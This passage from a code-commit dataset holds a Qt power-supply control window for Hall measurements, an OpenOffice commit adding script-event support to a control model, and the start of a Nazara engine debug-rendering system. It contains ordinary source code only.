style='color:#0000ff;'>-<\/span> <span style='color:#ff0000;'>+<\/span><\/span>\";\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow),\r\n configUI()\r\n{\r\n ui->setupUi(this);\r\n\r\n QObject::connect(&configUI, SIGNAL(accepted()), this, SLOT(show()));\r\n\r\n currentTimer.setInterval(500);\r\n currentTimer.setSingleShot(false);\r\n QObject::connect(¤tTimer, SIGNAL(timeout()), this,\r\n SLOT(on_currentTimer_timeout()));\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::closeDevs()\r\n{\r\n currentTimer.stop();\r\n powerSwitch.close();\r\n sdp_close(&sdp);\r\n}\r\n\r\nvoid MainWindow::closeEvent(QCloseEvent *event)\r\n{\r\n if (configUI.isHidden() && configUI.result() == QDialog::Accepted) {\r\n closeDevs();\r\n event->ignore();\r\n hide();\r\n configUI.show();\r\n\r\n return;\r\n }\r\n\r\n QMainWindow::closeEvent(event);\r\n}\r\n\r\nvoid MainWindow::on_coilCurrDoubleSpinBox_valueChanged(double )\r\n{\r\n \/\/currentTimer.start();\r\n}\r\n\r\nvoid MainWindow::on_coilPolCrossCheckBox_toggled(bool)\r\n{\r\n \/*if (checked) {\r\n powerSwitch.setPolarity(PolaritySwitch::cross);\r\n ui->polarityLabel->setText(pol_mp);\r\n } else {\r\n powerSwitch.setPolarity(PolaritySwitch::direct);\r\n ui->polarityLabel->setText(pol_pm);\r\n }*\/\r\n\r\n \/\/currentTimer.start();\r\n}\r\n\r\nvoid MainWindow::on_coilPowerCheckBox_toggled(bool checked)\r\n{\r\n if (checked) {\r\n \/\/ FIXME\r\n \/\/ sdp_set_curr(&sdp, 0);\r\n \/\/ sdp_set_output(&sdp, true);\r\n }\r\n \/\/currentTimer.start();\r\n}\r\n\r\nvoid MainWindow::on_currentTimer_timeout()\r\n{\r\n sdp_va_data_t va_data;\r\n\r\n if (sdp_get_va_data(&sdp, &va_data) < 0) {\r\n \/\/ TODO\r\n close();\r\n return;\r\n }\r\n\r\n ui->coilCurrMeasDoubleSpinBox->setValue(va_data.curr);\r\n \/* TODO *\/\r\n}\r\n\r\nvoid MainWindow::on_measurePushButton_clicked()\r\n{\r\n \/* TODO *\/\r\n}\r\n\r\nvoid MainWindow::on_sampleCurrDoubleSpinBox_valueChanged(double )\r\n{\r\n\r\n}\r\n\r\nvoid MainWindow::on_samplePolCrossCheckBox_toggled(bool )\r\n{\r\n\r\n}\r\n\r\nvoid MainWindow::on_samplePowerCheckBox_toggled(bool )\r\n{\r\n\r\n}\r\n\r\nbool MainWindow::openDevs()\r\n{\r\n QString err_text, err_title;\r\n QString s;\r\n int err;\r\n\r\n s = settings.value(ConfigUI::cfg_powerSupplyPort).toString();\r\n err = sdp_open(&sdp, s.toLocal8Bit().constData(), SDP_DEV_ADDR_MIN);\r\n if (err < 0)\r\n goto sdp_err0;\r\n\r\n \/* Set value limit in current input spin box. *\/\r\n sdp_va_t limits;\r\n err = sdp_get_va_maximums(&sdp, &limits);\r\n if (err < 0)\r\n goto sdp_err;\r\n ui->coilCurrDoubleSpinBox->setMaximum(limits.curr);\r\n\r\n \/* Set current to actual value, avoiding anny jumps. *\/\r\n sdp_va_data_t va_data;\r\n err = sdp_get_va_data(&sdp, &va_data);\r\n if (err < 0)\r\n goto sdp_err;\r\n err = sdp_set_curr(&sdp, va_data.curr);\r\n if (err < 0)\r\n goto sdp_err;\r\n \/* Set voltage to maximum, Hall is current driven. *\/\r\n err = sdp_set_volt_limit(&sdp, va_data.volt);\r\n if (err < 0)\r\n goto sdp_err;\r\n err = sdp_set_volt(&sdp, va_data.volt);\r\n if (err < 0)\r\n goto sdp_err;\r\n\r\n sdp_lcd_info_t lcd_info;\r\n if (err < 0)\r\n goto sdp_err;\r\n ui->coilPowerCheckBox->setChecked(lcd_info.output);\r\n\r\n s = settings.value(ConfigUI::cfg_polSwitchPort).toString();\r\n if (!powerSwitch.open(s.toLocal8Bit().constData())) {\r\n err = errno;\r\n goto mag_pwr_switch_err;\r\n }\r\n\r\n bool cross;\r\n cross = powerSwitch.polarity() == PolaritySwitch::cross;\r\n ui->coilPolCrossCheckBox->setChecked(cross);\r\n\r\n \/* TODO ... *\/\r\n\r\n currentTimer.start();\r\n\r\n return true;\r\n\r\n \/\/ powerSwitch.close();\r\n\r\nmag_pwr_switch_err:\r\n if (err_title.isEmpty()) {\r\n\r\n err_title = QString::fromLocal8Bit(\r\n \"Failed to open power supply switch\");\r\n err_text = QString::fromLocal8Bit(strerror(err));\r\n }\r\n\r\nsdp_err:\r\n sdp_close(&sdp);\r\n\r\nsdp_err0:\r\n if (err_title.isEmpty()) {\r\n err_title = QString::fromLocal8Bit(\r\n \"Failed to open Manson SDP power supply\");\r\n err_text = QString::fromLocal8Bit(sdp_strerror(err));\r\n }\r\n\r\n err_text = QString(\"%1:\\n\\n%2\").arg(err_title).arg(err_text);\r\n QMessageBox::critical(this, err_title, err_text);\r\n statusBar()->showMessage(err_title);\r\n\r\n return false;\r\n}\r\n\r\nvoid MainWindow::show()\r\n{\r\n if (!openDevs()) {\r\n configUI.show();\r\n\r\n return;\r\n }\r\n\r\n QWidget::show();\r\n}\r\n\r\nvoid MainWindow::startApp()\r\n{\r\n configUI.show();\r\n}\r\n\r\nvoid MainWindow::updateCurrent()\r\n{\r\n double current;\r\n\r\n current = ui->coilCurrDoubleSpinBox->value();\r\n if (ui->coilPolCrossCheckBox->isChecked())\r\n current = -current;\r\n\r\n sdp_set_curr(&sdp, current);\r\n\r\n \/* TODO *\/\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: geometrycontrolmodel.cxx,v $\n *\n * $Revision: 1.1 $\n *\n * last change: $Author: mt $ $Date: 2001-01-24 14:55:12 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc..\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _TOOLKIT_HELPERS_GEOMETRYCONTROLMODEL_HXX_\n#include \"toolkit\/controls\/geometrycontrolmodel.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_PROPERTYATTRIBUTE_HPP_\n#include <com\/sun\/star\/beans\/PropertyAttribute.hpp>\n#endif\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n#ifndef _COMPHELPER_PROPERTY_HXX_\n#include <comphelper\/property.hxx>\n#endif\n\n#define GCM_PROPERTY_ID_POS_X 1\n#define GCM_PROPERTY_ID_POS_Y 2\n#define GCM_PROPERTY_ID_WIDTH 3\n#define GCM_PROPERTY_ID_HEIGHT 4\n\n#define GCM_PROPERTY_POS_X ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"PositionX\"))\n#define GCM_PROPERTY_POS_Y ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"PositionY\"))\n#define GCM_PROPERTY_WIDTH ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Width\"))\n#define GCM_PROPERTY_HEIGHT ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Height\"))\n\n#define DEFAULT_ATTRIBS() PropertyAttribute::BOUND | PropertyAttribute::TRANSIENT\n\n\/\/........................................................................\n\/\/ namespace toolkit\n\/\/ {\n\/\/........................................................................\n\n using namespace ::com::sun::star::uno;\n using namespace ::com::sun::star::lang;\n using namespace ::com::sun::star::beans;\n using namespace ::comphelper;\n\n \/\/====================================================================\n \/\/= OGeometryControlModel_Base\n \/\/====================================================================\n \/\/--------------------------------------------------------------------\n OGeometryControlModel_Base::OGeometryControlModel_Base(XAggregation* _pAggregateInstance)\n :OPropertySetAggregationHelper(m_aBHelper)\n ,OPropertyContainer(m_aBHelper)\n ,m_nPosX(0)\n ,m_nPosY(0)\n ,m_nWidth(0)\n ,m_nHeight(0)\n {\n OSL_ENSURE(NULL != _pAggregateInstance, \"OGeometryControlModel_Base::OGeometryControlModel_Base: invalid aggregate!\");\n\n \/\/ create our aggregate\n increment(m_refCount);\n {\n m_xAggregate = _pAggregateInstance;\n setAggregation(m_xAggregate);\n m_xAggregate->setDelegator(static_cast< XWeak* >(this));\n }\n decrement(m_refCount);\n\n \/\/ register our members for the property handling of the OPropertyContainer\n registerProperty(GCM_PROPERTY_POS_X, GCM_PROPERTY_ID_POS_X, DEFAULT_ATTRIBS(), &m_nPosX, ::getCppuType(&m_nPosX));\n registerProperty(GCM_PROPERTY_POS_Y, GCM_PROPERTY_ID_POS_Y, DEFAULT_ATTRIBS(), &m_nPosY, ::getCppuType(&m_nPosY));\n registerProperty(GCM_PROPERTY_WIDTH, GCM_PROPERTY_ID_WIDTH, DEFAULT_ATTRIBS(), &m_nWidth, ::getCppuType(&m_nWidth));\n registerProperty(GCM_PROPERTY_HEIGHT, GCM_PROPERTY_ID_HEIGHT, DEFAULT_ATTRIBS(), &m_nHeight, ::getCppuType(&m_nHeight));\n }\n\n \/\/--------------------------------------------------------------------\n Any SAL_CALL OGeometryControlModel_Base::queryAggregation( const Type& _rType ) throw(RuntimeException)\n {\n Any aReturn = OWeakAggObject::queryAggregation(_rType);\n \/\/ the basic interfaces (XInterface, XAggregation etc)\n\n if (!aReturn.hasValue())\n aReturn = OPropertySetAggregationHelper::queryInterface(_rType);\n \/\/ the property set related interfaces\n\n if (!aReturn.hasValue() && m_xAggregate.is())\n aReturn = m_xAggregate->queryAggregation(_rType);\n \/\/ the interfaces our aggregate can provide\n\n return aReturn;\n }\n\n \/\/--------------------------------------------------------------------\n Any SAL_CALL OGeometryControlModel_Base::queryInterface( const Type& _rType ) throw(RuntimeException)\n {\n return OWeakAggObject::queryInterface(_rType);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::acquire( ) throw()\n {\n OWeakAggObject::acquire();\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::release( ) throw()\n {\n OWeakAggObject::release();\n }\n\n \/\/--------------------------------------------------------------------\n OGeometryControlModel_Base::~OGeometryControlModel_Base()\n {\n \/\/ release the aggregate (_before_ clearing m_xAggregate)\n if (m_xAggregate.is())\n m_xAggregate->setDelegator(NULL);\n setAggregation(NULL);\n }\n\n \/\/--------------------------------------------------------------------\n sal_Bool SAL_CALL OGeometryControlModel_Base::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n sal_Int32 _nHandle, const Any& _rValue) throw (IllegalArgumentException)\n {\n return OPropertyContainer::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw (Exception)\n {\n OPropertyContainer::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle) const\n {\n OPropertyArrayAggregationHelper& rPH = static_cast<OPropertyArrayAggregationHelper&>(const_cast<OGeometryControlModel_Base*>(this)->getInfoHelper());\n ::rtl::OUString sPropName;\n sal_Int32 nOriginalHandle = -1;\n\n if (rPH.fillAggregatePropertyInfoByHandle(&sPropName, &nOriginalHandle, _nHandle))\n OPropertySetAggregationHelper::getFastPropertyValue(_rValue, _nHandle);\n else\n OPropertyContainer::getFastPropertyValue(_rValue, _nHandle);\n }\n\n \/\/--------------------------------------------------------------------\n Reference< XPropertySetInfo> SAL_CALL OGeometryControlModel_Base::getPropertySetInfo() throw(RuntimeException)\n {\n return OPropertySetAggregationHelper::createPropertySetInfo(getInfoHelper());\n }\n\n\/\/........................................................................\n\/\/ } \/\/ namespace toolkit\n\/\/........................................................................\n\n\/*************************************************************************\n * history:\n * $Log: not supported by cvs2svn $\n *\n * Revision 1.0 17.01.01 11:35:20 fs\n ************************************************************************\/\n\n<commit_msg>Support for XScriptEventsSupplier added<commit_after>\/*************************************************************************\n *\n * $RCSfile: geometrycontrolmodel.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: ab $ $Date: 2001-02-21 17:31:20 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc..\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _TOOLKIT_HELPERS_GEOMETRYCONTROLMODEL_HXX_\n#include \"toolkit\/controls\/geometrycontrolmodel.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_PROPERTYATTRIBUTE_HPP_\n#include <com\/sun\/star\/beans\/PropertyAttribute.hpp>\n#endif\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n#ifndef _COMPHELPER_PROPERTY_HXX_\n#include <comphelper\/property.hxx>\n#endif\n#include \"toolkit\/controls\/eventcontainer.hxx\"\n\n\n#define GCM_PROPERTY_ID_POS_X 1\n#define GCM_PROPERTY_ID_POS_Y 2\n#define GCM_PROPERTY_ID_WIDTH 3\n#define GCM_PROPERTY_ID_HEIGHT 4\n\n#define GCM_PROPERTY_POS_X ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"PositionX\"))\n#define GCM_PROPERTY_POS_Y ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"PositionY\"))\n#define GCM_PROPERTY_WIDTH ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Width\"))\n#define GCM_PROPERTY_HEIGHT ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Height\"))\n\n#define DEFAULT_ATTRIBS() PropertyAttribute::BOUND | PropertyAttribute::TRANSIENT\n\n\/\/........................................................................\n\/\/ namespace toolkit\n\/\/ {\n\/\/........................................................................\n\n using namespace ::com::sun::star::uno;\n using namespace ::com::sun::star::lang;\n using namespace ::com::sun::star::beans;\n using namespace ::com::sun::star::container;\n using namespace ::comphelper;\n\n \/\/====================================================================\n \/\/= OGeometryControlModel_Base\n \/\/====================================================================\n \/\/--------------------------------------------------------------------\n OGeometryControlModel_Base::OGeometryControlModel_Base(XAggregation* _pAggregateInstance)\n :OPropertySetAggregationHelper(m_aBHelper)\n ,OPropertyContainer(m_aBHelper)\n ,m_nPosX(0)\n ,m_nPosY(0)\n ,m_nWidth(0)\n ,m_nHeight(0)\n {\n OSL_ENSURE(NULL != _pAggregateInstance, \"OGeometryControlModel_Base::OGeometryControlModel_Base: invalid aggregate!\");\n\n \/\/ create our aggregate\n increment(m_refCount);\n {\n m_xAggregate = _pAggregateInstance;\n setAggregation(m_xAggregate);\n m_xAggregate->setDelegator(static_cast< XWeak* >(this));\n }\n decrement(m_refCount);\n\n \/\/ register our members for the property handling of the OPropertyContainer\n registerProperty(GCM_PROPERTY_POS_X, GCM_PROPERTY_ID_POS_X, DEFAULT_ATTRIBS(), &m_nPosX, ::getCppuType(&m_nPosX));\n registerProperty(GCM_PROPERTY_POS_Y, GCM_PROPERTY_ID_POS_Y, DEFAULT_ATTRIBS(), &m_nPosY, ::getCppuType(&m_nPosY));\n registerProperty(GCM_PROPERTY_WIDTH, GCM_PROPERTY_ID_WIDTH, DEFAULT_ATTRIBS(), &m_nWidth, ::getCppuType(&m_nWidth));\n registerProperty(GCM_PROPERTY_HEIGHT, GCM_PROPERTY_ID_HEIGHT, DEFAULT_ATTRIBS(), &m_nHeight, ::getCppuType(&m_nHeight));\n }\n\n \/\/--------------------------------------------------------------------\n Any SAL_CALL OGeometryControlModel_Base::queryAggregation( const Type& _rType ) throw(RuntimeException)\n {\n Any aReturn = OWeakAggObject::queryAggregation(_rType);\n \/\/ the basic interfaces (XInterface, XAggregation etc)\n\n if (!aReturn.hasValue())\n aReturn = OPropertySetAggregationHelper::queryInterface(_rType);\n \/\/ the property set related interfaces\n\n if (!aReturn.hasValue() && m_xAggregate.is())\n aReturn = m_xAggregate->queryAggregation(_rType);\n \/\/ the interfaces our aggregate can provide\n\n if (!aReturn.hasValue() && m_xAggregate.is())\n {\n aReturn = ::cppu::queryInterface( _rType,\n static_cast< ::com::sun::star::script::XScriptEventsSupplier* >( this ) );\n }\n\n return aReturn;\n }\n\n \/\/--------------------------------------------------------------------\n Any SAL_CALL OGeometryControlModel_Base::queryInterface( const Type& _rType ) throw(RuntimeException)\n {\n return OWeakAggObject::queryInterface(_rType);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::acquire( ) throw()\n {\n OWeakAggObject::acquire();\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::release( ) throw()\n {\n OWeakAggObject::release();\n }\n\n \/\/--------------------------------------------------------------------\n OGeometryControlModel_Base::~OGeometryControlModel_Base()\n {\n \/\/ release the aggregate (_before_ clearing m_xAggregate)\n if (m_xAggregate.is())\n m_xAggregate->setDelegator(NULL);\n setAggregation(NULL);\n }\n\n \/\/--------------------------------------------------------------------\n sal_Bool SAL_CALL OGeometryControlModel_Base::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n sal_Int32 _nHandle, const Any& _rValue) throw (IllegalArgumentException)\n {\n return OPropertyContainer::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw (Exception)\n {\n OPropertyContainer::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL OGeometryControlModel_Base::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle) const\n {\n OPropertyArrayAggregationHelper& rPH = static_cast<OPropertyArrayAggregationHelper&>(const_cast<OGeometryControlModel_Base*>(this)->getInfoHelper());\n ::rtl::OUString sPropName;\n sal_Int32 nOriginalHandle = -1;\n\n if (rPH.fillAggregatePropertyInfoByHandle(&sPropName, &nOriginalHandle, _nHandle))\n OPropertySetAggregationHelper::getFastPropertyValue(_rValue, _nHandle);\n else\n OPropertyContainer::getFastPropertyValue(_rValue, _nHandle);\n }\n\n \/\/--------------------------------------------------------------------\n Reference< XPropertySetInfo> SAL_CALL OGeometryControlModel_Base::getPropertySetInfo() throw(RuntimeException)\n {\n return OPropertySetAggregationHelper::createPropertySetInfo(getInfoHelper());\n }\n\n \/\/--------------------------------------------------------------------\n Reference< XNameContainer > SAL_CALL OGeometryControlModel_Base::getEvents() throw(RuntimeException)\n {\n if( !mxEventContainer.is() )\n mxEventContainer = (XNameContainer*)new ScriptEventContainer();\n return mxEventContainer;\n }\n\n\/\/........................................................................\n\/\/ } \/\/ namespace toolkit\n\/\/........................................................................\n\n\/*************************************************************************\n * history:\n * $Log: not supported by cvs2svn $\n * Revision 1.1 2001\/01\/24 14:55:12 mt\n * model for dialog controls (weith pos\/size)\n *\n *\n * Revision 1.0 17.01.01 11:35:20 fs\n ************************************************************************\/\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2017 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Development Kit\"\n\/\/ For conditions of distribution and use, see copyright notice in Prerequisites.hpp\n\n#include <NDK\/Systems\/DebugSystem.hpp>\n#include <Nazara\/Core\/Primitive.hpp>\n#include <Nazara\/Graphics\/Model.hpp>\n#include <Nazara\/Utility\/IndexIterator.hpp>\n#include <Nazara\/Utility\/Mesh.hpp>\n#include <Nazara\/Utility\/StaticMesh.hpp>\n#include <NDK\/Components\/CollisionComponent3D.hpp>\n#include <NDK\/Components\/DebugComponent.hpp>\n#include <NDK\/Components\/GraphicsComponent.hpp>\n#include <NDK\/Components\/NodeComponent.hpp>\n\nnamespace Ndk\n{\n\tnamespace\n\t{\n\t\tclass DebugRenderable : public Nz::InstancedRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tDebugRenderable(Ndk::Entity* owner, Nz::MaterialRef mat, Nz::IndexBufferRef indexBuffer, Nz::VertexBufferRef vertexBuffer) :\n\t\t\t\tm_entityOwner(owner),\n\t\t\t\tm_material(std::move(mat)),\n\t\t\t\tm_indexBuffer(std::move(indexBuffer)),\n\t\t\t\tm_vertexBuffer(std::move(vertexBuffer))\n\t\t\t\t{\n\t\t\t\t\tResetMaterials(1);\n\n\t\t\t\t\tm_meshData.indexBuffer = m_indexBuffer;\n\t\t\t\t\tm_meshData.primitiveMode = Nz::PrimitiveMode_LineList;\n\t\t\t\t\tm_meshData.vertexBuffer = m_vertexBuffer;\n\t\t\t\t}\n\n\t\t\t\tvoid UpdateBoundingVolume(InstanceData* instanceData) const override\n\t\t\t\t{\n\t\t\t\t}\n\n\t\t\t\tvoid MakeBoundingVolume() const override\n\t\t\t\t{\n\t\t\t\t\tm_boundingVolume.MakeNull();\n\t\t\t\t}\n\n\t\t\tprotected:\n\t\t\t\tNdk::EntityHandle m_entityOwner;\n\t\t\t\tNz::IndexBufferRef m_indexBuffer;\n\t\t\t\tNz::MaterialRef m_material;\n\t\t\t\tNz::MeshData m_meshData;\n\t\t\t\tNz::VertexBufferRef m_vertexBuffer;\n\t\t};\n\n\t\tclass AABBDebugRenderable : public DebugRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tusing DebugRenderable::DebugRenderable;\n\n\t\t\t\tvoid AddToRenderQueue(Nz::AbstractRenderQueue* renderQueue, const InstanceData& instanceData, const Nz::Recti& scissorRect) const override\n\t\t\t\t{\n\t\t\t\t\tNazaraAssert(m_entityOwner, \"DebugRenderable has no owner\");\n\n\t\t\t\t\tconst DebugComponent& entityDebug = m_entityOwner->GetComponent<DebugComponent>();\n\t\t\t\t\tconst GraphicsComponent& entityGfx = m_entityOwner->GetComponent<GraphicsComponent>();\n\n\t\t\t\t\tNz::Matrix4f transformMatrix = Nz::Matrix4f::Identity();\n\t\t\t\t\ttransformMatrix.SetScale(entityGfx.GetBoundingVolume().aabb.GetLengths());\n\t\t\t\t\ttransformMatrix.SetTranslation(entityGfx.GetBoundingVolume().aabb.GetCenter());\n\n\t\t\t\t\trenderQueue->AddMesh(0, m_material, m_meshData, Nz::Boxf::Zero(), transformMatrix, scissorRect);\n\t\t\t\t}\n\t\t};\n\n\t\tclass OBBDebugRenderable : public DebugRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tusing DebugRenderable::DebugRenderable;\n\n\t\t\t\tvoid AddToRenderQueue(Nz::AbstractRenderQueue* renderQueue, const InstanceData& instanceData, const Nz::Recti& scissorRect) const override\n\t\t\t\t{\n\t\t\t\t\tNazaraAssert(m_entityOwner, \"DebugRenderable has no owner\");\n\n\t\t\t\t\tconst DebugComponent& entityDebug = m_entityOwner->GetComponent<DebugComponent>();\n\t\t\t\t\tconst GraphicsComponent& entityGfx = m_entityOwner->GetComponent<GraphicsComponent>();\n\n\t\t\t\t\tNz::Matrix4f transformMatrix = instanceData.transformMatrix;\n\t\t\t\t\ttransformMatrix.ApplyScale(entityGfx.GetBoundingVolume().obb.localBox.GetLengths());\n\n\t\t\t\t\trenderQueue->AddMesh(0, m_material, m_meshData, Nz::Boxf::Zero(), transformMatrix, scissorRect);\n\t\t\t\t}\n\t\t};\n\t}\n\n\t\/*!\n\t* \\ingroup NDK\n\t* \\class Ndk::DebugSystem\n\t* \\brief NDK class that represents the debug system\n\t*\n\t* \\remark This system is enabled if the entity owns the trait: DebugComponent and GraphicsComponent\n\t*\/\n\n\t\/*!\n\t* \\brief Constructs an DebugSystem object by default\n\t*\/\n\tDebugSystem::DebugSystem()\n\t{\n\t\tRequires<DebugComponent, GraphicsComponent>();\n\t\tSetUpdateOrder(1000); \/\/< Update last\n\t}\n\n\tstd::pair<Nz::IndexBufferRef, Nz::VertexBufferRef> DebugSystem::GetBoxMesh()\n\t{\n\t\tif (!m_boxMeshIndexBuffer)\n\t\t{\n\t\t\tstd::array<Nz::UInt16, 24> indices = {\n\t\t\t\t{\n\t\t\t\t\t0, 1,\n\t\t\t\t\t1, 2,\n\t\t\t\t\t2, 3,\n\t\t\t\t\t3, 0,\n\n\t\t\t\t\t4, 5,\n\t\t\t\t\t5, 6,\n\t\t\t\t\t6, 7,\n\t\t\t\t\t7, 4,\n\n\t\t\t\t\t0, 4,\n\t\t\t\t\t1, 5,\n\t\t\t\t\t2, 6,\n\t\t\t\t\t3, 7\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tm_boxMeshIndexBuffer = Nz::IndexBuffer::New(false, indices.size(), Nz::DataStorage_Hardware, 0);\n\t\t\tm_boxMeshIndexBuffer->Fill(indices.data(), 0, indices.size());\n\t\t}\n\n\t\tif (!m_boxMeshVertexBuffer)\n\t\t{\n\t\t\tNz::Boxf box(-0.5f, -0.5f, -0.5f, 1.f, 1.f, 1.f);\n\n\t\t\tstd::array<Nz::Vector3f, 8> positions = {\n\t\t\t\t{\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarLeftBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearLeftBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearRightBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarRightBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarLeftTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearLeftTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearRightTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarRightTop)\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tm_boxMeshVertexBuffer = Nz::VertexBuffer::New(Nz::VertexDeclaration::Get(Nz::VertexLayout_XYZ), positions.size(), Nz::DataStorage_Hardware, 0);\n\t\t\tm_boxMeshVertexBuffer->Fill(positions.data(), 0, positions.size());\n\t\t}\n\n\t\treturn { m_boxMeshIndexBuffer, m_boxMeshVertexBuffer };\n\t}\n\n\tvoid DebugSystem::OnEntityValidation(Entity* entity, bool \/*justAdded*\/)\n\t{\n\t\tstatic constexpr int 